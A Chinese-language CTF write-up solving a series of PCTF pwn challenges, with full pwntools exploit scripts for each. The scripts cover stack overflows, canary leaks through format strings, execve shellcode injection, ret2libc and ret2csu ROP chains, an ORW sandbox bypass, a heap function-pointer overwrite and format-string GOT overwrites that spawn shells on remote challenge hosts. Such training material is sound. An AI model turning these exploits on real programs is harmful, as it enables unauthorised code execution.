PCTFpwn全解

week1

test_your_nc

直接nc上去,发现好像是不同进制的加减乘除,让ai写一个脚本解决

复制代码
from pwn import *
import re

# 连接远程服务器
r = remote('challenge2.pctf.top', 31297)
context.log_level = 'debug'  # 改为debug以获取更多信息


class UniversalBaseSolver:
    def __init__(self):
        self.base_chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+-*/"

    def convert_from_base(self, num_str, base):
        """将指定进制的字符串转换为十进制整数"""
        if base < 1 or base > 40:
            log.warning(f"Base {base} out of range 1-40")
            return None

        try:
            if base == 1:
                return len(num_str)
            else:
                # 对于所有进制,统一处理大小写
                num_str_upper = num_str.upper()
                log.info(f"Converting '{num_str}' (-> '{num_str_upper}') from base {base}")

                if base <= 36:
                    result = int(num_str_upper, base)
                    log.info(f"Conversion result: {result}")
                    return result
                else:
                    char_map = {char: idx for idx, char in enumerate(self.base_chars[:base])}
                    result = 0
                    for char in num_str_upper:
                        if char not in char_map:
                            log.warning(f"Invalid character '{char}' for base {base}")
                            return None
                        result = result * base + char_map[char]
                    log.info(f"Conversion result: {result}")
                    return result
        except Exception as e:
            log.warning(f"Conversion error: {e} for '{num_str}' in base {base}")
            return None

    def convert_to_base(self, num, base):
        """将十进制整数转换为指定进制字符串"""
        if base < 1 or base > 40:
            log.warning(f"Base {base} out of range 1-40")
            return str(num)

        try:
            num = int(num)
            log.info(f"Converting {num} to base {base}")

            if base == 1:
                if num < 0:
                    return '-' + '1' * (-num)
                return '1' * num

            is_negative = num < 0
            n = abs(num)

            if n == 0:
                result = '0'
                log.info(f"Result: {result}")
                return result

            digits = []
            if base <= 36:
                while n > 0:
                    n, remainder = divmod(n, base)
                    if remainder < 10:
                        digits.append(str(remainder))
                    else:
                        digits.append(chr(ord('A') + remainder - 10))
                result = ''.join(reversed(digits))
            else:
                alphabet = self.base_chars[:base]
                while n > 0:
                    n, remainder = divmod(n, base)
                    digits.append(alphabet[remainder])
                result = ''.join(reversed(digits))

            if is_negative:
                result = '-' + result

            log.info(f"Conversion result: {result}")
            return result

        except Exception as e:
            log.warning(f"Base conversion error: {e}")
            return str(num)

    def detect_base(self, base_str):
        """检测并解析进制描述"""
        base_str = base_str.lower().strip()

        base_map = {
            '1': 1, 'unary': 1, 'base1': 1,
            '2': 2, 'binary': 2, 'bin': 2, 'base2': 2,
            '3': 3, 'ternary': 3, 'base3': 3,
            '4': 4, 'quaternary': 4, 'base4': 4,
            '5': 5, 'quinary': 5, 'base5': 5,
            '6': 6, 'senary': 6, 'base6': 6,
            '7': 7, 'septenary': 7, 'base7': 7,
            '8': 8, 'octal': 8, 'oct': 8, 'base8': 8,
            '9': 9, 'nonary': 9, 'base9': 9,
            '10': 10, 'decimal': 10, 'dec': 10, 'base10': 10,
            '11': 11, 'undecimal': 11, 'base11': 11,
            '12': 12, 'duodecimal': 12, 'base12': 12,
            '13': 13, 'tridecimal': 13, 'base13': 13,
            '14': 14, 'tetradecimal': 14, 'base14': 14,
            '15': 15, 'pentadecimal': 15, 'base15': 15,
            '16': 16, 'hexadecimal': 16, 'hex': 16, 'base16': 16,
            '17': 17, 'base17': 17, '18': 18, 'base18': 18, '19': 19, 'base19': 19,
            '20': 20, 'base20': 20, '21': 21, 'base21': 21, '22': 22, 'base22': 22,
            '23': 23, 'base23': 23, '24': 24, 'base24': 24, '25': 25, 'base25': 25,
            '26': 26, 'base26': 26, '27': 27, 'base27': 27, '28': 28, 'base28': 28,
            '29': 29, 'base29': 29, '30': 30, 'base30': 30, '31': 31, 'base31': 31,
            '32': 32, 'duotrigesimal': 32, 'base32': 32, '33': 33, 'base33': 33,
            '34': 34, 'base34': 34, '35': 35, 'base35': 35, '36': 36, 'hexatrigesimal': 36, 'base36': 36,
            '37': 37, 'base37': 37, '38': 38, 'base38': 38, '39': 39, 'base39': 39,
            '40': 40, 'base40': 40
        }

        if base_str in base_map:
            result = base_map[base_str]
            log.info(f"Base detection: '{base_str}' -> {result}")
            return result

        try:
            base_num = int(base_str)
            if 1 <= base_num <= 40:
                log.info(f"Base detection: '{base_str}' -> {base_num}")
                return base_num
        except:
            pass

        log.warning(f"Unknown base: {base_str}, defaulting to 10")
        return 10

    def extract_expression(self, question_text):
        """提取表达式中的数字和运算符"""
        log.info(f"Extracting expression from: {question_text}")

        patterns = [
            r'\[[0-9]+\]\s*\(base\s+\w+\)\s*([^\s?]+)\s*([+*\-/%])\s*([^\s?]+)\s*=',
            r'\(base\s+\w+\)\s*([^\s?]+)\s*([+*\-/%])\s*([^\s?]+)',
            r'([^\s?]+)\s*([+*\-/%])\s*([^\s?]+)\s*=\s*\?',
        ]

        for i, pattern in enumerate(patterns):
            match = re.search(pattern, question_text)
            if match:
                num1, op, num2 = match.groups()
                log.info(f"Pattern {i} matched: {num1} {op} {num2}")
                return num1.strip(), op.strip(), num2.strip()

        log.warning("No pattern matched for expression extraction")
        return None, None, None

    def solve_question(self, question_text):
        """主解题函数"""
        log.info(f"Solving question: {question_text}")

        # 提取进制信息
        base_match = re.search(r'\(base\s+(\w+)\)', question_text)
        if not base_match:
            log.warning("Cannot find base specification with pattern 1")
            base_match = re.search(r'base\s*(\w+)', question_text)
            if not base_match:
                log.warning("Cannot find base specification")
                return None

        base_str = base_match.group(1)
        base = self.detect_base(base_str)

        # 提取数字和运算符
        num1, op, num2 = self.extract_expression(question_text)
        if not all([num1, op, num2]):
            log.warning("Failed to extract expression")
            return None

        # 转换数字
        a = self.convert_from_base(num1, base)
        b = self.convert_from_base(num2, base)

        if a is None or b is None:
            log.warning("Number conversion failed")
            return None

        # 执行运算
        if op == '+':
            result = a + b
        elif op == '*':
            result = a * b
        elif op == '-':
            result = a - b
        elif op == '/':
            if b == 0:
                log.warning("Division by zero")
                return None
            result = a // b
        elif op == '%':
            if b == 0:
                log.warning("Modulo by zero")
                return None
            result = a % b
        else:
            log.warning(f"Unsupported operator: {op}")
            return None

        # 转换回原进制
        answer = self.convert_to_base(result, base)

        # 验证转换
        if answer:
            verify = self.convert_from_base(answer, base)
            if verify != result:
                log.warning(f"Verification failed: {answer} -> {verify} != {result}")
                # 尝试小写
                verify_lower = self.convert_from_base(answer.lower(), base)
                if verify_lower == result:
                    log.info("Using lowercase version for verification")
                    return answer.lower()

        return answer


# 创建求解器
solver = UniversalBaseSolver()

# 主循环
try:
    question_count = 0
    while True:
        # 先接收直到看到题目开始
        initial = r.recvuntil(b'[', timeout=5)
        # 然后接收完整的题目行
        data_line = r.recvuntil(b'?', timeout=5).decode(errors='ignore')
        data = '[' + data_line
        question_count += 1

        print(f"\n{'=' * 60}")
        print(f"Question #{question_count}:")
        print(data)

        if any(flag in data for flag in ['PCTF{', 'flag{', 'FLAG{', 'ctf{', 'CTF{']):
            print("🎉 FLAG FOUND! 🎉")
            print(data)
            try:
                more_data = r.recvall(timeout=2)
                if more_data:
                    print(more_data.decode(errors='ignore'))
            except:
                pass
            break

        answer = solver.solve_question(data)

        if answer:
            print(f"✅ Sending answer: {answer}")
            r.sendline(answer.encode())
        else:
            log.error("❌ Failed to solve, sending '0'")
            r.sendline(b'0')

        try:
            response = r.recvline(timeout=3).decode(errors='ignore')
            print(f"Response: {response.strip()}")
            if "incorrect" in response.lower() or "invalid" in response.lower():
                log.error("Last answer was incorrect!")
                # 重新计算并显示详细信息
                log.info("=== DEBUG INFO ===")
                log.info(f"Question: {data}")
                log.info(f"Our answer: {answer}")
                # 手动验证
                base_match = re.search(r'\(base\s+(\w+)\)', data)
                if base_match:
                    base_str = base_match.group(1)
                    base = solver.detect_base(base_str)
                    num1, op, num2 = solver.extract_expression(data)
                    if all([num1, op, num2]):
                        a = solver.convert_from_base(num1, base)
                        b = solver.convert_from_base(num2, base)
                        if a is not None and b is not None:
                            if op == '+':
                                result = a + b
                            elif op == '*':
                                result = a * b
                            elif op == '-':
                                result = a - b
                            elif op == '/':
                                result = a // b if b != 0 else None
                            elif op == '%':
                                result = a % b if b != 0 else None
                            if result is not None:
                                expected = solver.convert_to_base(result, base)
                                log.info(f"Expected answer: {expected}")
        except:
            print("⏰ No response or timeout")

except EOFError:
    print("🔌 Connection closed by server")
    try:
        final_data = r.recvall(timeout=2)
        if final_data:
            print("Final output:", final_data.decode(errors='ignore'))
    except:
        pass
except KeyboardInterrupt:
    print("⏹️ Interrupted by user")
except Exception as e:
    print(f"💥 Error: {e}")
    import traceback

    traceback.print_exc()

r.close()
print("🔚 Script finished")

str_err

首先放ida看一眼 大概就是一个比较字符串,并且第一,第二个read函数都可以栈溢出,但第一个是在strcpy溢出覆盖correct_password,第二个是可以让我们覆盖返回地址,但我们注意到其实我们已经有了correct_password,就是Secret,所以我们没必要去覆盖他,我们只要第二个read函数前面写Secret后面用空字符填充就可以通过比较,所以用直接第二个read覆盖返回地址即可,再在ida找一下就看见了后门函数 ,这里就可以知道我们的返回地址,接下来就好办了,checksec一下是64位只开了nx保护,我们根据栈上信息可以知道第二个偏移量是104,exp如下:

复制代码
from pwn import *
p=remote('challenge2.pctf.top',30987)
key=0x40125B
ret=0x40125A
payload1=5*b'a'
p.sendlineafter("Please input your username: ",payload1)
payload2=b'Secret'+98*b'\x00'+p64(ret)+p64(key)
p.sendafter("Please input your password: ",payload2)
p.interactive()

ret2bzdr

首先checksec一下 发现开了nx和canary保护,有格式化字符串可以泄露canary并且有后门函数,但是没有过滤sh,所以返回后门函数并输入sh即可getshell,exp如下

复制代码
from pwn import *
p=remote('challenge1.pctf.top',30959)
p.recvuntil("can u solve canary?")
p.sendline(b"%23$p")
leak=p.recvline().strip()
canary=int(leak,16)
print(f"Canary: 0x{canary:x}")
ret=0x40101a
payload=136*b'a'+p64(canary)+b'a'*8+p64(ret)+p64(0x4013AD)
p.sendline(payload)
p.sendlineafter("OH,NO!!!HACKER!!!DON'T COME!!!",b"sh")
p.interactive()

func_err

首先函数checksec一下,这里我们注意到这个没开nx保护,但开了pie保护,用ida看看,这里我们注意到gift函数有%p,这样就已经把地址泄露出来了,所以我们只需要找其他地址对于那个地址的偏移量就可以凑出真正的地址从而继续我们的操作,同时在ida没看见后门函数,又因为没开nx保护,所以我们可以直接在read函数里直接构造shellcode 我们看见可以看见gift函数局部变量的地址为rbp-4h,而%p泄露的正是其地址,read函数局部变量的地址则为rbp-20h,因为他们函数连续,其间也没有返回地址压栈,所以栈帧是连续的,所以read局部变量的地址就是%p的地址-28,exp如下:

复制代码
from pwn import *
context(arch='amd64',os='linux')
p=remote('challenge1.pctf.top',32067)
p.recvuntil(b'Can you cherish her :')
leak=int(p.recvline().strip(),16)
shelladdr=leak-28
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
payload=shellcode+b'a'*(40-len(shellcode))+p64(shelladdr)
p.sendline(payload)
p.interactive()

type_err

首先还是先checksec,64位保护全开,大概只能靠题本身来写了,放ida看一下

可以看到这里大概就是要输入两个数满足四个条件,注意到第一个条件的2,147,483,650跟32位int的最大值2,147,483,647非常接近,所以我们只需输入一个大于2,147,483,647并小于2,147,483,650的数,这样它从无符号int转化为int就会变成负数,然后满足一二两个条件,第三个条件大概就是检查其是否为一个整数,第四个条件就是首先对一个数(就是上面的0x80000000)进行加密,然后我们输入的这个数又进行相同加密,最后比较他们加密后是否相等,但我们可以看见那个值已经给出,就是0x80000000即2147483648,因为加密方式是相同的,那就把这个数输进去就行了,而这个值又恰好满足1,2,3,4条件,所以我们只需要输入两遍2147483648即可通过检测getshell

week2

ret2libc

依然先checksec 既然都说了是模板题了,也确实没有system和bin/sh,那套模板就行了,首先找输出函数,这里是puts,栈溢出用gets,这里只要利用puts打印puts真实地址,利用其后三位地址泄露libc版本从而知道偏移地址,然后利用puts的真实地址-puts在libc偏移地址算出基地址,然后利用libc找system的偏移地址去+基地址,找bin/sh的偏移地址去+基地址即找到system和bin/sh,然后就可以利用rop链getshell,当然这题其实已经给了libc.so.6,相当于已经找到libc的版本,这里我们傲娇一下不用他那个,exp如下:

复制代码
from pwn import *
from LibcSearcher import LibcSearcher
elf=ELF('./pwn')
p=remote('challenge1.pctf.top',31385)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
rop=0x4011e7
ret=0x4011E8
main=0x4011F0
payload1=72*b'a'+p64(rop)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter("Please input your message: ",payload1)
p.recvuntil("Message received!\n")
leak=p.recv(6)
puts_addr=u64(leak.ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
payload2=72*b'a'+p64(ret)+p64(rop)+p64(binsh)+p64(system)
p.sendlineafter("Please input your message: ",payload2)
p.interactive()

猜libc版本一个个试就行了。

sandbox_err

这题我这里已经写了详解与拓展,ORW与沙箱绕过 - firefly_star - 博客园,这里附上我一开始的想到的csu解法的exp:

复制代码
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
flag = 1
if flag:
    p = remote('challenge.imxbt.cn',32084)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def csu(rdi,rsi,rdx,got):
	pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)
	return pay
def dbg():
    gdb.attach(p)
    pause()
ru(b"Make your choice : \n")
sl(b'3')
ru(b"I believe in miracles.\n")
sl(b'%21$pk%17$pko')
leak=ru(b'o').strip().decode()
pie,libcbase,c=leak.split('\n')[0].split('k')
pie=int(pie,16)-0x160b
print(hex(pie))
csugo=pie+0x1690
csuin=pie+0x16A6
rdi=pie+0x16b3
bss=pie+0x4060
ru(b"Make your choice : \n")
sl(b'2')
ru(b"You chose getshell!\n")
libcbase=int(libcbase,16)-0x2a1ca
'''
puts=pie+elf.sym['puts']
put=pie+elf.got['puts']
back=pie+0x15b3
pay=0x68*b'b'+flat(rdi,put,puts,back)
sd(pay)
ru(b'congratulations!\n')
libcbase=u64(rc(6).strip().ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libcbase))
#第二种泄露libc的方法
'''
print(hex(libcbase))
read=pie+0x3FB0#这是read函数got表的地址
openn=libcbase+libc.sym['open']
write=libcbase+libc.sym['write']
rcx=libcbase+0xa877e
rsi=libcbase+next(libc.search(asm('pop rsi;ret;')))
pay=0x68*b'b'+p64(csuin)+csu(0,bss,0x100,read)+p64(csugo)+csu(bss,0,0,bss+8)+flat(rdi,bss,rsi,0,openn)
pay+=p64(csuin)+csu(6,bss+0x18,0x100,read)+p64(csugo)+csu(1,bss+0x18,0x100,bss+0x10)+p64(csugo)
sd(pay)
ru(b'congratulations!\n')
pay=b'./flag\x00\x00'+p64(openn)+p64(write)
sd(pay)
ti()

ezfmt

首先checksec看见full relro并且开了canary保护,并且好像没有格式化字符串,但细看发现他strcpy把第一个read写入的数据覆盖到了%

s在的bss段上,所以第一次溢出可以写到格式化字符串上,泄露出来canary与libc基址打ret2libc即可,exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag =1
if flag:
    p = remote('challenge.imxbt.cn',31300)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
ret=0x40123A
pay=0x40*b'b'+b'%19$p.%21$p.'
sd(pay)
ru(b"Welcome,")
can,libcbase,c=rcl().strip().decode().split('.')
can=i6(can)
libcbase=i6(libcbase)-0x29d90
ph(can)
ph(libcbase)
rdi=libcbase+next(libc.search(asm('pop rdi;ret;')))
binsh=libcbase+next(libc.search('/bin/sh'))
system=libcbase+libc.sym['system']
pay=0x68*b'b'+p64(can)*2+flat(ret,rdi,binsh,system)
sd(pay)
ti()

Slime_Smith

这题就是看着吓人,当时我直接被吓死了,现在看其实非常非常简单,逆向一下选0的函数如下

可以看到其实这题非常非常简单,第一个要我们设置一个堆的大小,第二个申请了一个0x8大小的堆并把一个函数指针放在里面,后面还直接*ptr2()调用这个函数指针,我们如果第一个输入0就会返回0x10的可写空间,因为这两个堆块是按顺序申请的,所以他们会物理相邻,并且注意到第一个堆块0x10的可写空间与第二个堆块的可写空间就隔了一个堆块的头0x10,也就是如果我们两次输入0的话直接写的地方就是这个函数指针,把他改成后门函数就写完了。exp如下

复制代码
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag =1
if flag:
   p = remote('challenge.imxbt.cn',30839)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    #context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
ru(b'>')
slr(1)
ru(b':')
slr(0)
ru(b':')
slr(0)
sd(p64(0x401336))
ti()

Build

这里存在数组越界,数组第一个元素是一个随机数,最后一个元素就是通过随机数预测之后的read的写入地址,所以这里有一个任意地址写,但是要先一直返回main函数增加写入的字节,这里注意到这个main函数最后的汇编控制了rbx,并可以借助rbx控制rdi,所以就可以打ret2libc,不知道有没有大佬知道其他解法,exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag =1
if flag:
    p = remote('challenge.imxbt.cn',30441)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
bd=0x4011fe
put=elf.sym['puts']
puts=elf.got['puts']
ret=0x4012B0
main=0x4012b1
def exp():
    a=libc1.rand(1)
    b=(a*libc1.rand(1))&0xffffffff
    ru(b'Gift for you:')
    tar=(i6(rcl())+0xd8)
    ph(tar)
    ph(b)
    sl(str(b).encode())
    for i in range(16):
        ru(b"Build")
        sl(b'1')
    ru(b"Build")
    sl(str(tar).encode())
for i in range(0x30):
    exp()
    sd(b'\x64')
a=libc1.rand(1)
b=(a*libc1.rand(1))&0xffffffff
ru(b'Gift for you:')
tar=(i6(rcl())+0xc8)
ph(tar)
ph(b)
sl(str(b).encode())
for i in range(16):
    ru(b"Build")
    sl(b'1')
ru(b"Build")
sl(str(tar).encode())
pay=flat(puts,tar+8,bd,put,ret,main)
sd(pay)
ru(b'Magic fallen:\n')
libcbase=u6(6)-libc.sym['puts']
ph(libcbase)
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search('/bin/sh'))
rdi=libcbase+next(libc.search(asm('pop rdi;ret;')))
a=libc1.rand(1)
b=(a*libc1.rand(1))&0xffffffff
ru(b'Gift for you:')
tar=(i6(rcl())+0xc8)
ph(b)
sl(str(b).encode())
for i in range(16):
    ru(b"Build")
    sl(b'1')
ru(b"Build")
sl(str(tar+8).encode())
ph(libcbase)
pay=flat(ret,rdi,binsh,ret,system)
sd(pay)
ti()

week3-csu

在这里我也详解了这题ret2csu及栈迁移的运用 - firefly_star - 博客园,只要了解了csu函数的利用就很好写了,exp如下:

复制代码
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
flag = 0

if flag:
    p = remote('challenge.imxbt.cn',30250)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def dbg():
    gdb.attach(p)
    pause()
def csu(rdi,rsi,rdx,got):
	pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)
	return pay
ru(b"input something:")
ret=0x40101a
write=elf.got['write']
read=elf.got['read']
rdi=0x40127b
csuin=0x40126E
csugo=0x401258
bss=0x404068
pay=40*b'b'+p64(ret)+p64(csuin)+csu(1,write,0x10,write)+p64(csugo)+csu(0,bss,0x100,read)+p64(csugo)
pay+=csu(bss+8,0,0,bss)+p64(ret)+p64(csugo)
sl(pay)
libcbase=u64(rc(6).ljust(8,b'\x00'))-libc.sym['write']
print(hex(libcbase))
system=libcbase+libc.sym['system']
pay=p64(system)+b'/bin/sh\x00'
sl(pay)
ti()

week4-fmt

这题个人知道两种解法,第一种是爆破两字节然后通过非栈上格式化字符串写返回read附近就可以有栈上的格式化字符串写,然后把free的got表改成onegadget即可getshell,第二种是先把free的got表改成vuln函数地址就可以实现一直返回vuln,这里因为没有leave所以栈上的情况是没什么大变化的,我们改出来两个printf的got表,最后一个改低地址一个改高地址把printf改成system函数,最后输入binsh字符串即可getshell,这里要注意的就是格式化字符串的解析顺序:简单来说就是没$时按顺序解析,有就会不按顺序,直接全部解析

爆破的exp如下,这个因为aslr所以要爆破挺久

复制代码
from pwn import *
import sys
from ctypes import *
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag =1
if flag:
    p = remote('challenge.imxbt.cn',32059)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    #context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
while True:
    pay=b'%p'*13+b'%'+str(0x50d8-0x71).encode()+b'c%hn'+b'%'+str(0x11e2+0x10000-0x50d8).encode()+b'c%45$hn'
    sd(pay)
    ru(b'0x')
    ru(b'0x')
    ru(b'0x')
    ru(b'0x')
    ru(b'0x')
    ru(b'0x')
    ru(b'0x')
    ru(b'0x')
    st=i6(rc(12))
    ru(b'0x')
    ru(b'0x')
    ru(b'0x')
    libcbase=i6(rc(12))-0x29d90
    ph(libcbase)
    ogg=libcbase+0xebc85
    if st&0xffff!=0x50e0:
        p.close()
        p = remote('challenge.imxbt.cn',32059)
        continue
    pay=fmtstr_payload(6,{0x404018:ogg})
    sd(pay)
    break
ti()

不爆破的exp如下,不过这个也不是一定通,因为%p给出的值是不确定的,就导致第一次写入不一定写对,不过成功率比较高:

复制代码
from pwn import *
import sys
from ctypes import *
context.arch='amd64'
context.log_level='debug'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag =1
if flag:
    p = remote('challenge.imxbt.cn',31780)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    #context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
back=0x4011b6
pr=0x404020
free=0x404018
pay=b'%p'*6+b'%'+str(free-0x3d+5).encode()+b'c%ln'
pay+=b'%'+str(back+0x1000000-free).encode()+b'c%hn'
pay+=b'b'*3+b'%8$p.%11$p.k'
sd(pay)
ru(b'b'*3)
st,libcbase,c=ru(b'k').decode().strip().split('.')
st=i6(st)-0x8
libcbase=i6(libcbase)-0x29d90
system=libcbase+libc.sym['system']
ph(st)
ph(libcbase)
pay=b'%'+str(pr&0xff).encode()+b'c%12$hhn'
pay+=b'%'+str(st&0xff).encode()+b'c%8$hhn'
sd(pay)
pay=b'%'+str(pr+2).encode()+b'c%16$ln'
sd(pay)
sleep(0.1)
ph(system)
pay=b'%'+str((system>>16)&0xff).encode()+b'c%25$hhn'
pay+=b'%'+str((system&0xffff)-((system>>16)&0xff)).encode()+b'c%22$hn'
sd(pay)
sd(b'/bin/sh\x00')
ti()

这应该算我参加的第一个大比赛吧,也是画上一个完美的句号了。